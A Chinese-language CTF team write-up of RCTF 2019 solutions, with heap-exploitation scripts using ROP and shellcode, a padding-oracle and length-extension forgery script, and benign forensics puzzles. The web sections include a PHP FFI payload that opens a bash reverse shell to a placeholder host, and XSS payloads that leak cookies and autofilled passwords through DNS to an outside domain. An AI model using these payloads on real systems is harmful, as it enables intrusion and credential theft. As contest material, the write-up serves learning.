Kap0k RCTF2019 Writeup

2019-05-21 约 3446 字 预计阅读 17 分钟

声明:本文 【Kap0k RCTF2019 Writeup】 由作者 C0mRaDe 于 2019-05-21 08:42:00 首发 先知社区 曾经 浏览数 168 次

感谢 C0mRaDe 的辛苦付出!

Kap0k-Note: RCTF-2019 Writeup

RCTF-2019: Kap0k排名第六
我们misc贼强

pwn

babyheap

类似 2019-starctf 的heap_master, 但这里并不改dl_open_hook, 而是改_free_hook

解题

  1. edit的时候off by one
  2. 使用seccomp-tools dump babyheap 可以看到关闭了execve系统调用, 只能使用open, read, write三个系统调用读出flag
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

利用过程

  • leak heap, leak libc
  • 写rop, shellcode到heap
  • largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
  • 栈转移到heap上
  • 执行rop
  • 执行shellcode

exp

# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
binary = './babyheap'
llibc = '/lib/x86_64-linux-gnu/libc.so.6' # /lib/i386-linux-gnu/libc.so.6
elf = ELF(binary, checksec = 0)
libc = ELF(llibc, checksec = 0)
ip="139.180.215.222"
port= 20001
# r = process(binary, aslr = 1)
sd = lambda x : r.send(x)
sl = lambda x : r.sendline(x)
rv = lambda x = 2048 : r.recv(x)
ru = lambda x : r.recvuntil(x)
rl = lambda : r.recvline()
ia = lambda : r.interactive()
ra = lambda : r.recvall()

def add(size):
    ru("Choice:")
    sl("1")
    ru("Size")
    sl(str(size))

def edit(idx,con):
    ru("Choice:")
    sl("2")
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(con)    

def show(idx):
    ru("Choice:")
    sl("4")
    ru("Index:")
    sl(str(idx))

def free(idx):
    ru("Choice:")
    sl("3")
    ru("Index:")
    sl(str(idx))

def exp():
    add(0x78) #0
    add(0x38)#1 用1来控制largin的大小
    add(0x420)#2
    add(0x30)#3 +0x4f0
    add(0x60)#4
    add(0x20)#5

    add(0x88) #6
    add(0x48)#7 con
    add(0x420)#8
    add(0x20)#9

    add(0x100)#10 用来写gadget的结构
    add(0x400)#11 用来写rop链和shellcode
    # gdb.attach(r)
    free(0)
    edit(2,0x3f0*'a'+p64(0x100)+p64(0x31))
    edit(1,'a'*0x30+p64(0x80+0x40)) # off
    free(2)
    add(0x78)#0
    show(1)
    libc.address=u64(rl()[1:-1].ljust(8,'\x00'))-3951480
    success("libcbase: "+hex(libc.address))

    add(0x30)#2==1
    free(4)
    free(2)
    show(1)
    heapbase=u64(rl()[1:-1].ljust(8,'\x00'))-528-0x300-0x20
    success("heapbase: "+hex(heapbase))
    add(0x50)#2 进入large

    free(6)
    edit(8,0x3f0*'a'+p64(0x100)+p64(0x31))
    edit(7,'a'*0x40+p64(0x90+0x50)) # off
    free(8)

    add(0x430)#4==1
    add(0x88) #6
    add(0x440)#8==7
    #large attack & unsotbin attack
    free(4)
    free(8)
    add(0x440)#4
    free(4)
    edit(7,p64(0)+p64(libc.sym['__free_hook']-0x20))
    edit(1,p64(0)+p64(libc.sym['__free_hook']-0x20+8)+p64(0)+p64(libc.sym['__free_hook']-0x20-0x18-5))
    add(0x48) #4- __free_hook


    edit(4,'a'*16+p64(libc.address+0x0000000000047b75)) #写__free_hook 为 0x0000000000047b75 : mov rsp, qword ptr [rdi + 0xa0] ...
    # rsp 控制到heapbase+0x10+3104的位置 idx11


    # 0x0000000000021102 : pop rdi ; ret
    rop=p64(0x0000000000021102+libc.address)+p64(heapbase)
    # 0x00000000001150c9 : pop rdx ; pop rsi ; ret
    rop+=p64(0x00000000001150c9+libc.address)+p64(7)+p64(0x2000)+p64(libc.sym['mprotect'])
    rop+=p64(heapbase+0x48+3104)
    code = """
            xor rsi,rsi
            mov rax,SYS_open
            call here
            .string "./flag"
            here:
            pop rdi
            syscall
            mov rdi,rax
            mov rsi,rsp
            mov rdx,0x100
            mov rax,SYS_read
            syscall
            mov rdi,1
            mov rsi,rsp
            mov rdx,0x100
            mov rax,SYS_write
            syscall
            mov rax,SYS_exit
            syscall
        """
    shellcode = asm(code,arch="amd64")
    rop+=shellcode
    edit(11,rop)
    edit(10,flat({0xa0:p64(heapbase+0x10+3104),0xa8:p64(0x0000000000209B5+libc.address)}))
    # 触发
    # gdb.attach(r,"awatch __free_hook\nc\n")
    free(10)
    ia()

while 1:
    try:
        r = remote(ip,port)
        exp()
    except:
        r.close()
        pass

shellcoder

爆破之(虽然主办方说不需要爆破)

解题思路

只能orw

  1. 一开始只能输入7个byte的shellcode, 需要使用7bytes构造一个系统调用. 这里需要知道的是有一条汇编指令: xchg, 可以交换两个64位寄存器的值, xchg rdi,rsi
  2. 有了read系统调用, 就可以执行orw了.
  3. 由于不知道flag的目录, 执行系统调用sys_getdents, 实现一个类似 ls 的功能
  4. 爆破除flag的目录

参考

https://cloud.tencent.com/developer/article/1143454

exp

#!/usr/bin/env python
from pwn import *


context(arch='amd64',os='linux')
# context.log_level='debug'
# 


def exp(dirname):
    child_dir=[]
    # p=process('./shellcoder')
    p=remote('139.180.215.222',20002)
    # gdb.attach(p,'nb 4c7')
    p.recvuntil('hello shellcoder:')
    shellcode='\x48\x87\xf7'         #chg rdi, rsi 
    shellcode+='\xb2\x80'          # mov dl,0x80     
    shellcode+='\x0f\x05'          # syscall
    p.send(shellcode)
    # open_code=shellcraft.open('flag/n9bp/1maz/flag')
    # open_code=shellcraft.open('./flag/n0qf/y1ka/fl8q')
    # read_code='xor rax,rax;mov rdi,3;push rsp;pop rsi;mov rdx,100;syscall'
    # write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,100;syscall'
    # shellcode='\x90'*0x7+asm(open_code)+asm(read_code)+asm(write_code)
    open_code=shellcraft.open(dirname)
    getdents_code='mov rax,78;mov rdi,3;mov rsi,rsp;mov rdx,200;syscall'
    write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,200;syscall'
    shellcode='\x90'*0x7+asm(open_code)+asm(getdents_code)+asm(write_code)


    p.send(shellcode+'\n')
    result=[]
    def parse1():
        sleep(1)
        line=p.recv()
        d=0             # line[i] ptr
        while(d<400):
            for j in range(len(line[d+18:])):
                chr_num=ord(line[d+18+j])
                if chr_num<0x20 or chr_num>0x7e:
                    child_dir.append(line[d+18:d+18+j])
                    break
            clen=u16(line[d+16:d+18])
            d+=clen
            if(clen==0):
                break
        for i in range(len(child_dir)):
            if child_dir[i]!='' and child_dir[i]!='.' and child_dir[i]!='..':
                result.append(dirname+'/'+child_dir[i])
    parse1()
    return result


def judge(line):
    for i in range(len(line)):
        if 'flag' in (line[i])[6:]:
            print(line[i])
            pause()


fdir=['./flag']
child_dir=[]
level=0
while(1):
    for i in range(len(fdir)):
        child_dir+=exp(fdir[i])
    judge(child_dir)
    fp=open('./dir{}'.format(level),'w')
    # for i in range(len(child_dir)):
        # fp.write(child_dir[i]+'\n')
    # fp.close()
    print(child_dir)
    fdir=[]
    fdir+=child_dir
    child_dir=[]

many_note

漏洞点

输入content的时候有个堆溢出

利用过程

  1. 不断malloc, 当线程的heap_info里面的一个值的大小等于0x3fff000时, 这是在去malloc一个比topchunk大的chunk时, 会把 top_chunk free掉.
  2. 之后就是tcache dup了.

exp

#!/usr/bin/env python
#coding:utf-8


from pwn import *
import os,sys,time


libpath="./libc.so.6"
libcpath='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libpath)
p=process(['./many_notes'])
p=process(['./ld-linux-x86-64.so.2','--library-path','/mnt/hgfs/F/workflow/rctf2019/pwn-manynotes','./many_notes'])


if len(sys.argv)==3:
    p=remote("139.180.144.86",20003)

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x,drop=True)
rl = lambda   : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)


def menu(op):
    sla('Choice:',str(op))


def add(size,padding,data=[]):
    menu(0)
    sla('Size:',str(size))
    sla('Padding:',str(padding))
    if(len(data)==0):
        sla('(0/1):',str(0))
    else:
        sla('(0/1):',str(1))
        ru('Content:')
        for i in data:
            sn(i)
            time.sleep(0.1)


if len(sys.argv)==2:
    gdb.attach(p)




sa('name:','a'*0x8)
time.sleep(0.1)


ru('to Many Notes, ')
rv(0x8)
leak=u64(rv(6).ljust(8,'\x00'))


io_stdout=leak
libc.address=libcbase=io_stdout-libc.symbols['_IO_2_1_stdout_']
__malloc_hook_addr=libc.symbols['__malloc_hook']
print '[leak]',hex(leak)
print '[libcbase]',hex(libcbase)
print '[__malloc_hook_addr]',hex(__malloc_hook_addr)




for i in range(0x7):
    add(0x2000,1024)
add(0x2000,0x3e8)
add(0x5d0,0)


for i in range(0xf):
    add(0x2000,1024)




add(0x2000,0x3d0-1)


payload1='a'*0x10
payload2='a'*0x10+p64(0x0)+p64(0x30b1)
add(0x20,0,[payload1,payload2])


add(0x1000-0x6a0,0)


payload=p64(0x1010101010101)*2
payload+=p64(__malloc_hook_addr-0x23)*10
payload=payload.ljust(0x240,'\x00')
add(0x240,0,[payload])


onegadget = 0x40e86+ libcbase
onegadget = 0x40eda+ libcbase
onegadget = 0xdea81+ libcbase


payload='a'*3
payload+=p64(onegadget)*5
payload=payload.ljust(0x68,'\x00')
add(0x68,0,[payload])

menu(0)
sla('Size:','104')


raw_input('interactive ....\n')
p.interactive()

web

nextphp

这题考PHP7.4的特性,非常紧跟潮流。直接给了个eval

看一下phpinfo,一堆disable_functions

很明显绕不过去,再看open_basedir

还注意到有一个opcache.preload

preload.php:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize函数,这里的unserialize函数功能是改变$data数组元素的值,然后实现可变函数的效果。然后主要到这篇

文章

去查看php7.4的特性,关于opcache.preload,可以看

RFC![enter description here]
(https://www.github.com/coomrade/Img/raw/master/pics/1558349905133.png)

很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface这个点.到

RFC

cdef:

用法:

然后,我们需要利用preload.php的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php,不能直接搞呢,因为这个

http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));

导入getenv

同理导入system,反弹shell即可

nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/222ip}}/222[port}} 0>%261'"));

jail

xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。

avatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hint

目的就是要打到admin的cookie。

Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

firefox下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行

提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的js

document.location给freeze了,而freeze是不能解掉的

后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下location

尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:

<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>

password

这题用的是jail的同一个环境,题目和hint给的信息都非常关键

提取出几个要点:

1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML

这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单

一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
   location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
  }, 1000);
</script>

一点点拿到完整的页面内容,发现果然有something interesting

加了个data-cip-id的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass+Keepass这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)

再右键选中看属性,发现这几个选项都是cip-ui-menu-item这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
  document.getElementsByName('username')[0].click();
  document.getElementsByClassName('cip-ui-menu-item')[1].click();
   location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
  }, 3000);
</script>

0号是假flag

1号是真flag

misc

draw

logo语言, 找个在线编译器丢进去

jslogo

白给, 不过需要注意一下flag格式

flag: RCTF_HeyLogo

disk

题目信息

附件中的文件

解题

misc看到文件先丢到 010Editor 看一下

ctrl+f 搜一下flag, ctf这些, 还真的搜到了

拿出来是这样

rctf{unseCure_quick_form4t_vo1ume

老实说一开始看到还没啥感觉...以为只是混淆的内容, 后面才突然想起来的

然后尝试VeraCrypt加载, 发现加载失败

看了文件格式, 拿去vmware也加载失败

队友说用7z打开解压一下, 可以看到这个东西, 拿出来就可以加载了

挂载后可以看到一张图片和一个txt

有另一个密码, 应该就是隐藏卷了

加载隐藏卷, 发现打不开, 提示是Raw格式

linux下也不能加载

用DiskGenius直接读磁盘

果然看到了后半段, 拼起来即可

rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}

printer

题目信息

附件

解题

这个是一个wireshark的文件, 用wireshark打开, 看到一些数据, 按长度排序, 有个特别大

看他的数据内容, 底部有很多BAR的数据

直接搜一下可以发现是个标签打印机的数据

标签打印机抓包数据解析

文章里面有些图片看不清, 但是提到了一个pdf文档, 把它下载下来可以看到那些图片的内容

下面是bar命令的参数信息

那根据这个信息, 可以用python画个图

把数据从wireshark里面复制出来, 小处理一下

# python = 3.7
from PIL import Image

with open("printer.txt", "r") as f:
    txt = f.readlines()
    txt = [i.strip().split(",") for i in txt]
    pic=Image.new('RGB',(2000,2000),'black')
    pix=pic.load()


    for i in txt:
        temp = Image.new('RGB', (int(i[2]), int(i[3])), 'white')
        pic.paste(temp, (int(i[0]), int(i[1])))
    pic.show()
'''
348,439,2,96
292,535,56,2
.....
.....
152,351,16,2
152,351,2,16
'''

PIL画图大法好, 可以看到结果

看起来还少了点东西, 再看文章里面还有个Bitmap

果然数据中有这个东西

26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)

取出这些16进制数, 小处理一下(notepad++的处理挺方便的), 然后继续上python

def pic2():
    with open("printer2.txt") as f:
        txt = f.read().split()
        pic = Image.new('RGB', (800, 800), 'black')
        pix = pic.load()
        for i in range(48):
            for j in range(26):
                x = ("{:08b}".format(int(txt[i * 26 + j], 16)))
                for k in range(8):
                    if x[k] == '1':
                        pix[i, j * 8 + k] = (255, 255, 255)
        pic.save('printer2.png')
'''
ff ff ff ff ff ff ff ff ff ff ff ff ff
.....
.....
ff ff ff
'''

得到的图片是镜像, 转一下

拼起来就是flag了

flag{my_tsc_hc3pnikdk}

watermark

  1. 阅读HTML,发现它首先调用JS把flag编码成了一个有着841个Bool的Array,对于所有class为watermark的div,它会在更改每个字符的颜色之后塞进一个SVG,替换掉div中的文本。对于英文字母,RGB是从Array中依序拿出的三个Bool值(a, b, c),其中a, b, c为0或1;对于其它字符,RGB是(0, 0, 0)。
    2.接下来把JS反混淆,通过观察生成Array的大小(841 = 29^2)、Google搜索脚本中的字符串常量,发现这是一个编码二维码的脚本。执行:
arr = A.B.E(A.C.D("RCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxx}")).F();
s = "";
for (var i = 0; i < 841; i++) {
  s += arr[i] ? "1" : "0"; 
  if ((i + 1) % 29 == 0) {
    s += "\n"
  }
}

可以发现题中对flag的编码实质上就是转为二维码后依序返回每个色块的颜色。

  1. 题目中给出了两个bmp,获取到所有英文字母的RGB值后即可生成二维码获得flag。要获得所有英文字母的RGB值,就要先获得所有字符的位置和内容。方便起见,修改HTML中的JS,使它把spans直接放进div中;并进行一些微调(font-family、font-size、weight、
    ),使得页面看起来和bmp里一样。

let parent = dom.parentElement
var div = document.createElement('div')
//var p = document.createElement('p')
//p.appendChild(img)
div.innerHTML = html
parent.appendChild(div)
dom.remove()

  1. 执行脚本获取第一个标题下的所有字母的内容和位置信息(在题目更新后,去掉了step,使得所需的信息数量变少了;否则,需要再重复两次这些操作以获得更多RGB信息)。
list = document.getElementsByTagName('span');
for (var i = 0; i <= 2068; i++) { 
    if ('a'<=list[i].innerText && list[i].innerText <= 'z' || 'A'<=list[i].innerText && list[i].innerText <= 'Z') { 
        info = list[i].getBoundingClientRect(); 
        arr.push([list[i].innerText, info.top, info.left, info.bottom, info.right])
    }
}

JSON.stringify(arr)
5.使用画图打开1.bmp,对比第一个span的位置,得出从网页中获取到的位置与图中文字位置的位置偏移,并编写脚本。

import json

f = open('p1.json')
r = f.read()
f.close()

arr = json.loads(r)

y_off = -85
x_off = -238
mp = 1
y_begin = 85
x_begin = 88

from PIL import Image
img = Image.open("1.bmp")

f = open("bin", "w")
cnt = 0
h = img.height

for e in arr:
    img2 = img.crop((int(x_off + x_begin + e[2]), int(y_off + y_begin + e[1]), int(x_off + x_begin + e[4]), int(y_off + y_begin + e[3])))
    img2.save("test.bmp")
    img_array = img2.load()
    rec = (0, 0, 0)
    flag = False
    for x in range(img2.size[0]):
        for y in range(img2.size[1]):
            if img_array[x, y][0] <= 1 and img_array[x, y][1] <= 1 and img_array[x, y][2] <= 1:
                rec = (img_array[x, y][0], img_array[x, y][1], img_array[x, y][2])
                flag = True
    if flag:
        cnt += 1
    f.write(str(rec[0]) + str(rec[1]) + str(rec[2]))

f.close()

print("hit:", cnt)
print("total:", len(arr))
  1. 执行脚本,在执行过程中可以看到test.bmp的变化,确定它截取的字符位置正确。
  2. 从拿到的RGB值生成二维码。由于有些字符(i、l、I等)体积较小,携带的RGB信息可能丢失,所以生成了四个,并取or。(会有1没有被读出来,但一般不会有0被读成1)
import zxing
from PIL import Image
black = Image.new('RGB', (10, 10), (0, 0, 0))
white = Image.new('RGB', (10, 10), (255, 255, 255))

f = open("bin")
arr = f.read()
f.close()

reader = zxing.BarCodeReader()

real = ['0'] * 841

def gen(n):
    num = 0
    for i in range(0, 29):
        for j in range(0, 29):
            if arr[n + i * 29 + j] == '1':
                real[i * 29 + j] = '1'

def run(n):
    num = 0
    result = Image.new('RGB', (290, 290), (255, 255, 255))
    for i in range(0, 29):
        for j in range(0, 29):
            if real[n + i * 29 + j] == '1':
                result.paste(black, (i * 10, j * 10))
            else:
                result.paste(white, (i * 10, j * 10))
    result.save('qrcode.png')


for i in range(0, 841*4, 841): 
    gen(i)

run(0)
print(reader.decode("qrcode.png"))

8.执行脚本,得到flag(和二维码):

RCTF{c4ca4238a0b923820dcc509a6275849b}

Crypto

baby_crypto

题目会让我们先输入username和password,其中username和password都只能是5到10位的纯小写字母,然后题目会生成一个cookie

"admin:0;username:aaaaa;password:aaaaa"

并将它用aes-cbc进行加密,然后再将该密文前面拼接上16位的salt之后进行sha1,最后把iv+密文+sha1结果作为data返回给我们

接下来我们可以发送data过去,服务器会进行aes-cbc解密并校验传过去的sha1是不是和我们传过去的cookie符合,然后再捕捉cookie中的admin,如果是1则输出flag,如果是0则退出程序

需要注意的是如果我们传过去的数据有误,会返回错误信息并继续接收data直到服务器可以解密我们传过去的cookie并且sha1校验的信息正确

这道题的要点有两个:

  1. 如何通过sha1校验
  2. 如何伪造cookie使得admin为1

对于要点1来说,可以参考去年RCTF的cpushop的题,用hash长度拓展攻击就可以,我们可以拓展出来';admin:1'这样的信息附加到原來的cookie末尾,这样服务器校验的时候便会通过。我们可以用'hashpumpy'这个python包来进行长度拓展攻击。

需要注意的是,服务器返回的data中的cookie的加密数据的长度为96个十六进制数,我们使用长度拓展攻击之后长度会变为128个十六进制数,所以需要先将data中的cookie的加密数据再附加32个十六进制数

对于要点2来说,aes-cbc模式可以用'Padding Oracle Attack'结合'CBC字节反转攻击'来伪造加密之后的密文。我们可以先用Padding Oracle Attack获取cookie解密之后的最后16位的明文,然后用CBC字节反转攻击修改密文使其解密之后的明文变为hash长度拓展攻击生成的明文。这样重复4次就可以修改所有的密文解密之后的明文变为我们想要的明文

最终我们就可以通过这个思路传过去伪造的data得到flag:RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}

解题脚本:

HOST = "111.231.100.117"
PORT = 20000

import urllib
from pwn import *
import hashpumpy
from cryptography.hazmat.primitives import padding

def pad(s):
    padder = padding.PKCS7(128).padder()
    return padder.update(s) + padder.finalize()

def Padding_Oracle_Attack(last,last2,rest):
    last2 = last2.decode('hex')
    c_final = ""
    m = ""
    for x in xrange(1, 17):
        for y in xrange(0, 256):
            IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final)

            r = rest+IV.encode('hex')+last+hash
            rv(4096)
            sl(r)
            result = rl()
            if "Invalid padding" not in result:
                c_final = chr(y ^ x) + c_final
                print "[+]Get: " + urllib.quote(c_final)
                break
            if y == 255:
                print "[!]Error!"
                exit(1)

    print "[+]Result: " + c_final
    for x in xrange(16):
        m += chr(ord(c_final[x]) ^ ord(last2[x]))
    return m,c_final

p = remote(HOST, PORT) 
ru = lambda x : p.recvuntil(x)
rl = lambda  : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

rv(4096)
sl('aaaaa')
rv(4096)
sl('aaaaa')
rl()
cookie = rl().strip('\n')
print cookie

cookie_len=len(cookie)
hash_len = 40
iv_len=32

iv = cookie[:iv_len]
enc_cookie = cookie[iv_len:-hash_len]
hash = cookie[-hash_len:]

print iv
print enc_cookie
print hash
append_data = ";admin:1"
# 37 -> 48 -> 96
old_plain = "admin:0;username:aaaaa;password:aaaaa"
# 56 -> 64 -> 128
data = hashpumpy.hashpump(hash,old_plain,append_data,16)
new_hash = data[0]
new_data = data[1]
new_data = pad(new_data)
print new_data.encode('hex').decode('hex')
print len(new_data)

# pad enc_cookie to 128
enc_cookie = enc_cookie + enc_cookie[32:64]
assert(len(enc_cookie)==128)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-16:]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 4 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload =  last_enc_block
print "[+]Round 4 payload:"
print payload
print len(payload)

# chunk 4 is complete
# start Round 3
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==96)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-32:-16]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 3 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 3 payload:"
print payload
print len(payload)

# chunk 3 is complete
# start Round 2
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==64)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = ""

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-48:-32]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 2 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 2 payload:"
print payload
print len(payload)

# chunk 2 is complete
# start Round 1
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==32)
last_enc_block = enc_cookie[-32:]
last2_enc_block = iv
rest_enc_block = ""

